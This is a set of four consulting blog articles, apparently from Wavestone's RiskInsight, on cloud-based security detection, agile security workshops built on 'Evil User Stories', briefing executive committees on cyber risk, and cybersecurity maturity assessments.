In the past year, I had the chance to work with different organisations in their Cloud transformation, and each of them has provided our team of Wavestone consultants with insights and key lessons on what Cloud-based detection systems can and cannot bring to an organisation.

For this article, bear in mind that we will consider any change of configuration leading to a degradation of the security level as an incident. While it does not perhaps fit the exact, usual definition of a security incident, misconfiguration of a Public Cloud service (where resources and data can be directly accessible through the internet) is too serious of an issue to not raise an immediate alert for the security of the information system.

Embrace the quick wins

When using Public Cloud from the main providers (Amazon Web Services, Microsoft Azure and Google Cloud Platform), it is fairly easy to turn on the native detection features and kickstart a basic, yet effective detection capability. Most platforms will provide a central security platform that enables you to detect misconfiguration in the infrastructure you have deployed, score your compliance level against a given standard and raise some alerts when the most typical incidents will occur (see further). There is virtually no reason to skip this feature, which is sometimes free to enable (either for trial or permanently).

Additionally, logging is virtually a non-issue in your security roadmap. Cloud providers will typically allow you to stream the logs from both your virtual machines (through agents), your PaaS components (via a handful of clicks, or a couple of parameters in your Infrastructure as Code templates) and the management plane of your subscription (activated from scratch). This enables your security team to swiftly understand the ongoing activity on the platform and start building on the logs to get some alerts. Moreover, some Cloud providers SIEM systems (such as Azure Sentinel) have ready-to-be-plugged connectors for appliances and external data sources which will parse the logs and remove some of the heavy lifting required when bringing the logs home to the SIEM.

Take the opportunity to improve security right away

Once you have learned the basics of the native Cloud detection tools, it is time to build your own expertise to be able to rely on your own tools! You can also leverage third-party solutions such as Cloud Security Posture Management (CSPM) solutions and configure it to cover your needs.

As hinted above, the native features from Cloud Providers offer some basics alerts which can go a long way. With AWS Guard Duty, you can detect compromising of AWS EC2 access tokens or abnormal access to S3 buckets, Azure Security Center will notify you when potentially malicious activity is detected on a virtual machine, or when Azure AD accounts are likely to be taken over… If you need to be quickly capable to detect attacks, there is a way to leverage the native, ready-to-be-used alerts available (although some of them might require the premium license after a free trial).

One of the key perks of Cloud detection is that you can right away act upon them with automatic remediation! For example, misconfigurations are a real source of concern for security teams, as the Terabytes of data leaked through accidentally exposed S3 buckets will testify. So why not reconfigure any bucket exposed, unless it has specifically been set in an “Allow List”? Automation will allow you to detect the exposition pattern, launch a serverless function which will fix the misconfiguration and could even notify the resource owner or the security team.

This can be done for misconfiguration, but also for malicious activity: if you detect an EC2 token being stolen from the metadata of an instance, you can temporarily remove its access rights. If you notice logging is being disabled, re-enable it and lock the responsible user accounts. This will drastically improve your time-to-react to security incidents.

Of course, you still need to work on the overall incident management process: both on how to avoid the misconfiguration of services (through training of developers and controls in the CICD channels if existing) and on how to manage them once they occur (the operating model is tackled further below).

Get closer to business and continuous improvement

Moving to Cloud is usually a time where applications and workloads will have to pass again through a security review to ensure the architecture and design are sound and safe. But it is also an opportunity to make security detection more relevant to the application.

To make it count, my advice would be:

• Go through the process of “Service Enablement” for new services: as moving to the cloud allow business and IT teams to use hundreds of new features and components, it is important to bring together architects and security teams to assess the main risks for each new technology, find countermeasures to limit these risks and start thinking about the alerts that will need to be implemented in the SIEM ;
• Build an alert catalog for each typical risk scenario and component, with the logic of the alert already pre-defined and only the business specifics to be customised. The “time to market” for supervision should also drop, as a good share of the components used for cloud operations is common to most applications (virtual machines, databases, serverless applications and functions, decoupling systems);
• Keep up to date with Cloud-related attacks to understand the latest vulnerabilities/attackers paths, and integrate them in your detection systems.

All these applications specifics should sit on top of transversal alerts covering your core Cloud functions (IAM, networking, landing zones, etc.). To help you build this core-detection capability, you can obviously count on our team, but I should also recommend checking on the ever-growing CloudSec community, which continuously share its expertise through open-source tooling (as this consolidated-view will prove) or on live and online platforms (such as the Cloud Security Forum and its first Fwd:CloudSec conference this year).

Not everything is easy though!

Based on everything written above, it might seem effortless to get a solid cloud detect and react proficiency. However, some challenges remain to be tackled.

The first one to come to mind is pricing. Often suggested as a selling point for Move to Cloud programs, accurately estimating how much your provider will charge you for Cloud detections is not as easy as it sounds. Over the years, many CSP security solutions have moved to component-based pricing for IaaS and transaction-based pricing for PaaS components. Log storage and alerting are sometimes even more complex, as some solutions will charge you based on log transit and aggregation, while some solutions will charge you for the number of assessments against alerts you run. Significant work is required to determine a truthful budget, and not go bankrupt.

The second key attention point is to understand what your provider offers and what it does not offer in terms of detection. While most solutions will claim to solve all your problems at once, it is unfortunately far from true. And for each security use case, there needs to be a call on whether you are fine with the free option if it exists, if the premium one is required, or if your security teams can make it on their own. Realistically, you will need to start with the native option, until your security team is mature enough, cloud-wise, to move to a homemade process.

Additionally, and maybe the most significant aspect, you need to design an operating model that will allow you to work with multiple subscriptions, multiple teams/businesses and possibly multiple Cloud Providers. More and more organisations are parallelising operations by picking different CSPs for different use cases, which leads to increased complexity for security teams – as they need to manage incidents on different platforms, with responsibilities divided between DevOps, SecOps and the on-premise teams. This will be especially difficult as some misconfiguration will lead to immediate security risks, and a choice needs to be made on whether the Ops or Security is expected to act. Without a strong division of duties across all providers and teams, there is a fair chance a small misconfiguration will snowball its way into a major data leak.

Finally, remember that monitoring your Cloud applications in the Cloud can also create risks. Besides vendors lock-in, you can lose all security functions along with your applications if everything sits under the same management plane. If the global administration rights of the SIEM tenant are taken over by an attacker, he or she will have all the liberty to affect the underlying resources (meaning erase logs, disable alerts or remove remediation capabilities). It is worth thinking about it before stacking your SIEM and critical applications under the same roof.

In the end, to sum it up:

• Grab the low hanging fruits: your Cloud Provider will help you collect and consolidate the logs easily. There are virtually no technical barriers to not use the logs anymore. In addition to that, enable the basic security features provided by your CSP to detect the most obvious attacks.
• Grow your cloud maturity together with cloud teams: The Cloud movement has pushed the business and IT teams (SecDevOps) to work closer than ever. Embrace this philosophy by better understanding the business needs in terms of security, customise alerts and automate your response to allow your capability to scale.
• Optimise costs and operating models to excel: Virtualisation has made a lot of technical aspects easier for teams, but processes can be hard to adapt. Make sure to carefully design your detection/incident response operating model to ensure all your applications and Cloud Providers are covered. Finally, think about cost optimisation when it comes to log management!

Cet article How to improve your cyber detection by moving to the Cloud est apparu en premier sur RiskInsight.

The EUS & Security Stories workshop: Who, when, where?

First of all, we can only advise you to involve in this workshop the usual actors of agile ceremonies:

• The Product Owner (PO) as a representative of business needs
• The Agile Coach in his capacity as guarantor of the respect of the method
• The technical referents of the project (architect, developers, testers…)

To bring a cyber security eye, it is important to count on the presence of the Security Champion from the project team. If none is available, a member of the CISO team can replace him or her and will have the Cyber Security “mindset” to guide you and complete the workshop.

Then, one often wonders when these workshops should be conducted… To tell you the truth, there is no rule about this, as it will depend on the security requirements of each release! However, our first piece of advice on this subject is to synchronize their frequency with that of the product backlog review. So, all you need to do is extend the workshops where you work on User Stories by about 50% to devote yourself to this security study with all the right players already present and mobilized.

Finally, where should the workshop be held? Ideally in the continuity of your previous workshop, in a room with a board or a projector allowing you to share a screen and the possibility to annotate the diagrams quite easily (post-its, whiteboard markers…). However, it is also possible to do it online! At Wavestone, we regularly use solutions such as Mural or Stormboard for this purpose. Get your hands on a solution like this and see if it’s playable!

Course of the workshop

First of all, it is often necessary for the Security Champion to lead the way in the first workshops. But the idea is to coordinate with the Agile Coach and work together so that the technical referents can gradually take charge of the methodology and make it their own.

When we train our clients on the subject, we often take a use case, fictitious but concrete and realistic! WaveCare is a medical application with many innovative features such as :

• Consulting the availability of practitioners near you
• Real-time transmission of your health data thanks to your connected watch
• Realization of remote consultations in Visio (Skype conference)
• Receipt of the order after the appointment in dematerialized format

For this demonstration, let’s focus on two components in particular: the descriptive schema of the functionality allowing a patient to search and reserve a slot in his doctor’s diary and the general architecture schema.

–

Step 1: Building risk scenarios

The first questions to ask yourself are “Where am I vulnerable? “How and where can I be attacked? ». The Security Champion and the developers will have to try to answer these questions! Here, a mix of application security and development knowledge will help identify exploitable vulnerabilities. We can already see an interesting aspect of the approach: it works on both the infrastructure and application aspects!

One piece of advice we can already give you: encourage developers to take ownership of the approach and to be proactive, it’s an excellent lever for raising security awareness! For the security referent, his or her role should mainly be to moderate the exchange and challenge the developers’ proposals. This position can also help you identify potential Security Champions, so don’t skimp on keeping it!

So let’s apply what we have just said to our example, in the figures below.

–

And here we are, we can finally identify quite quickly some points of attention! If we want to detail the “Code Injection” scenario of the global architecture schema, we can for example rephrase it like this: “As an attacker, I want to inject malicious code into the application’s insecure input fields“. You see, this ending is very close to that of a classic User Story, but the angle is indeed that of the attacker!

Step 2: Evaluate the business impacts of the scenarios

The second phase will be key to ensure that the team’s energy is used in the right place. This is where the Product Owner comes in! Together with the Security Champion, he will lead the debate to qualify the impact that each vulnerability can have.

Why is the PO decisive at this stage? Quite simply because he is the one who knows best both the business reality of the project and the importance of each feature. He will need to be well oriented, with questions such as “Is it serious if the data sent by the patient at this point is stolen? “What is the seriousness of the theft of the user’s account? etc.”, etc.

Next, you will need to give a score to prioritize each scenario. You then have two choices. The first is to use a classic cyber risk view, with a level of probability and impact. Personally, I recommend you rather use a point system or the Fibonacci suite, as for a classic US, it’s frankly simpler and instinctive!

Step 3: Define and prioritize Security Stories

The next step will be to build Security Stories based on each of the scenarios.

Now it’s the turn of the Security Champion and the developers to get back on stage! To continue on the previous example, here is a Security Story we can write: “As a developer, I want to make sure that code injection attacks are avoided“. Concretely, it will make us add to the product backlog actions such as escaping special characters, filtering user input or using the HttpOnly attribute to prevent the theft of session cookies.

Obviously, for each of the Security Stories, it may turn out that the security measures to be implemented are already in place. Otherwise, the Security Champion will prioritize the technical security measures, with regard to covering the risks involved, on a company-wide scale and not only on a business level. For security measures that are not purely technical, it is up to the Product Owner to prioritize them, with regard to business risks and the team’s resources.

And there you have it, you can now start your sprint more serenely!

And to help you, prepare and adapt the material to your context!

To make the workshops simpler and more fun, we have designed a generic deck of cards, consisting of cards with two sides each:

• Front side: the Evil User Stories, they describe in a very pedagogical way what can go wrong, using which vulnerabilities (ex: privilege escalation on a Web server, brute force attack, XSS, …).
• Verso: the Security Stories describe the security measures to be implemented to ensure that the Evil User Story does not occur (e.g. use of a robust AES 256/512 encryption algorithm, …).

These cards are really useful to get you started! For best results, you can even choose to adapt them to your business context. Use your security policies and integrate your requirements on encryption, password complexity, etc. Depending on the security needs of the project, you can also copy requirements related to certifications (HDS) or guidelines (LPM, NIS).

You can find the card game available for free here and don’t hesitate to give us your feedback so that we can continue to improve it!

Also, a workshop that runs smoothly is always more productive! Don’t forget to prepare the materials beforehand: architecture diagrams of the project (data flow and classification), listing and details of the next User Stories to be developed…

Cet article How to conduct an Agile Cyber Security workshop? est apparu en premier sur RiskInsight.

After having made several dozen speeches to executive committees, audit committees and boards of directors, I wanted to share with you the essential steps for advancing the relationship over the long term. The first phase of this trip should make it possible to create an initial contact and raise the EXCOM’s awareness on cybersecurity issues. First step, awareness! The objective for these sessions is often to manage to attract attention so as to be able to trigger further reflection within the organization. Later on, we will see the following steps: presenting a balance sheet, obtaining a budget, monitoring the progress on the security level…

An essential prerequisite, knowing where you are starting from and who you are going to deal with

This may seem like a cliché, but it is certainly the most important element before going to meet an executive committee or a board of directors. Thanks to its wide media coverage, cybersecurity is often already present in executives’ minds. But their degree of digital literacy and their level of appetite for the topic can completely change the way the topic is raised. Will it be necessary to be very didactic (going so far as to re-explain the principle of data, applications, if any) or will it be necessary to immediately address complex points such as the latest attacks observed and their methodologies? You would be surprised to see the diversity of levels between companies, but also within the same EXCOM. And it is necessary to interest each of the stakeholders, at the cost of having comments that are not very helpful during the intervention.

It is therefore important to prepare this first meeting by talking with other members of the ECOM their deputies or with people familiar with this forum to determine the tone to be adopted and the level of the speech to be given. Obviously, the operating rules will also have to be known: is it common for questions to be asked as they arise? Can a member be questioned? Should subjects relating to the company be raised from the outset? Plan to clear the ground upstream! And even if there is no perfect recipe, I will give you below the elements I use most often to make these meetings useful and effective.

To start, draw the attention by revealing the behind-the-scenes of an attack…

The topics quickly follow one another during the EXCOM. The directors think very, very quickly, so it is necessary to be concrete and to give food for thought and experience. The element that I find most effective consists in presenting a recent attack, published in the press or having affected the sector, and deciphering the stakes and the background: what is the timeframe? what motivation for the attackers? what weaknesses in the company? what is the reaction internally? publicly? with the authorities? This will have the effect of mentally projecting the directors concerned into their role as if they were going through the same thing. We at Wavestone are fortunate enough to frequently manage major cyber crises and we use these elements, both as a benchmark but also by anonymizing them or in agreement with the victims, to give a very concrete meaning to our feedback.

Follow-up with a generalization about cybercrime

An case is good to understand, but it doesn’t explain everything! After zooming in on a case, it is a question of generalizing it by explaining what are the mainsprings cybercriminality ways of proceeding. We then analyze the motivations of criminal groups, their organizations, but also and perhaps above all how they make money!

For an EXCOM to know that it is a DDoS attack or ransomware that has done damage is of little interest, it is especially important to show them that cybercriminal activities are profitable, even very profitable. We have calculated the ROI of several types of attacks and I can tell you that when you explain a 600% profitable attack like a ransomware, the eyes of the directors are wide open. We then highlight very concretely why their structure could be attacked and especially how much money the criminals would make. This often puts an end to the question “but why would we be targeted by an attack? We’re not known/we’re small/we don’t do anything strategic”.

Explain the company’s current situation in concrete terms

This is the right time to present the company’s IT posture and its current organization in terms of security. It is then a question of presenting it simply, with clear and meaningful images: are you rather in an old-fashioned “fortress” model? Or have you already opened your doors as a result of the digital transformation and have you adopted a porch model where security is reinforced the further you go towards critical systems? This will help to make the situation more concrete.

After this phase of mobilization and explanation, comes naturally the phase of questioning by the members of the executive committee. “But then, where are we now, or are we facing this risk of a cyberattack? ». Faced with this question, either you are lucky enough to have a detailed maturity assessment and you can present it immediately, or you can bring in initial qualitative or even partial quantitative elements and explain that today you need to have more visibility. The elements that speak for themselves are the latest audit reports, the latest incidents, budgetary elements.

If it is difficult at the beginning of the process to talk about the budget and to compare oneself because of a lack of data, it is possible to use a simple and effective indicator, that of your staff dedicated to cybersecurity. We have a database on this point and we can quickly show a EXCOM where it is just by mobilizing its HR. It’s simple and effective to convince them!

Don’t leave emprty-handed

The major risk of this awareness is that everything goes well but nothing moves. Indeed, you may have a positive message, “thank you and see you in a year for an update”, you will be happy but you will not have helped cybersecurity situation moving forward. It is then necessary to prepare the next step by indicating from this presentation the main points of weakness or strength felt and how you would like to evaluate them more precisely.

Indeed, the second step is often the realization of a dedicated maturity assessment in order to know how to position yourself! If at this point the meeting has taken place, the EXCOM, intrigued and interested in the topic, will want to know more and will give an agreement in principle. Beware that this may not be a budget directly, it will certainly refer you to the CIO or the Risk Director to get it, but with their agreement you will have a great lever to move on to the next step! See you on the next episode.

Cet article Creating a relationship of trust with the EXCOM: first step, raising awareness! est apparu en premier sur RiskInsight.

But these projects are not only the work of systems security managers. These projects also come from executive committees who seek a 360 view of the security of their institution to better evaluate potential risk. So, what are key success factors that we have seen in the field?

Step 1: Know the purpose and expectations of your evaluation

Evaluations can be entirely different levels of depth. From a high-level interview with the Chief Security officer to an in-depth assessment of the security mechanisms and processes of all the subsidiaries of a multinational group, everyone can choose their areas of focus and advance step-by-step.

Our first advice is to keep in mind the objectives of your evaluation. This will allow you to orient yourself toward the right security benchmarks and ultimately define the depth of the evaluation. Do you only want to measure the security maturity of your subsidiary’s information systems or also its efficiency? Perfectly documented security processes and an ISO 27001 certification can unfortunately hide problems on the ground that can expose you to vulnerabilities. It can be judicious to combine a technical test (pentest, red team, etc.) to the evaluation in order to avoid situations that seem fine on the surface but hide underlying issues.

Step 2: Find and mobilize the right people at the right level, easy to say but harder to do…

The next difficulty that you can encounter in your assessment is to succeed at meeting the right people. From experience, we advise you to confirm your list of the necessary collaborators as soon as possible.

Logically, this list will certainly depend on the granularity of the analysis but also on the organization of the business. For example, the necessary people will differ if the security staff are at the group level and function as a service center or if they are merged into each entity and service. Consequently, if you want to have a high-level estimate first, it could suffice to only have a half day exchange with the Chief Security Officer, who generally has a sufficient and global vision of the subject.

The second stage of analysis can be performed in gathering information from all actors involved in cybersecurity at the group level. In this group, it can be interesting to meet a large group of people involved in information systems and the cloud.

Finally, when the assessment must be thorough and exhaustive, it becomes necessary to widen the list of collaborators to all of the concerned entities. Obviously, you should expect a larger workload, so do not skimp on preparation and tools to help you in your work. It can also be the right moment to think about your presentation format: face-to-face, distance, strategic, operational, etc.

Step 3: Equipment, finding the right balance between too much and not enough

Choosing the right tools is one of the main assessment challenges that you will face. The more complete the assessment, the more it will require tools that ensure simplification and understanding of the whole project. Indeed, for large evaluations, the consolidation and restitution of results are two of the great challenges that you will encounter. In particular, commonly used tools don’t take into account the organizational complexity of large groups or the effectiveness of allocated resources. It is for these reasons that, from our side, we have chosen to develop a specific tool.

A good tool also allows you to position yourself against your competitors and understand your exposure to current attack trends and points where your COMEX is particularly sensitive, ensuring you can legitimize the assessment.

So it begins! It’s time to get your hands dirty and start the work of collecting information! There is a classic phrase that applies to these situations: entirely feasible from a distance. Be aware and transparent about the limits of the exercise: those questioned will sometimes have the impression that the assessment is too theoretical and this is normal, according to their objectives. During this phase, it will also be necessary to be able to juggle between the various unknowns because it is not uncommon to have people who are ultimately absent for long periods of time, added parameters, changes in methodology. Make it a point of honor to remain agile.

Step 4: Reforming at the right level to act, everything is a question of the point of view

A good habit to keep is to honestly adapt each reform to each person. From the managerial summaries where we talk about trends without much detail to presentations for technical teams that are highly detailed, adapting the discourse to the necessary format is important to convey the right messages to the right people.

Usually, we start the reforms in terms of the organization’s budget and workforce dedicated to cybersecurity. These very concrete points allow you to attract attention and be able to then analyze the situation from four different angles:
· Compliance with different global benchmarks (ISO/NIST)
· Assessment of the level of maturity of different entities compared to others in the same sector or market
· Quantification of the effort reach the market level and/or the required level according to cybersecurity benchmarks
· Evaluation of the level of robustness of the organization against the last known cyberattacks

With senior management, the restitution is often going to focus on organizational and governance matters. However, there can always be surprises. In cases where businesses have already been hit by serious cyber attacks, we have had surprisingly precise and technical questions from executive committees. For example, we have been asked for details on encryption algorithms and “How secure is my active directory?”

Get started

As mentioned earlier, the maturity assessment is an effective means for measuring the effectiveness and progress of your cybersecurity roadmap. Consequently, even if you don’t want to immediately begin an assessment involving all security systems and dozens of teams at your business, we advise you to familiarize yourself with the approach and its usefulness in starting out with more modest goals.

At Wavestone, with years of experience and expertise, we have developed the W-Cyber-Benchmark, a multi-use tool that has been implemented by dozens of clients. We know that just writing about it isn’t enough, so don’t hesitate to contact us to discuss further!

Cet article How to effectively evaluate your cybersecurity est apparu en premier sur RiskInsight.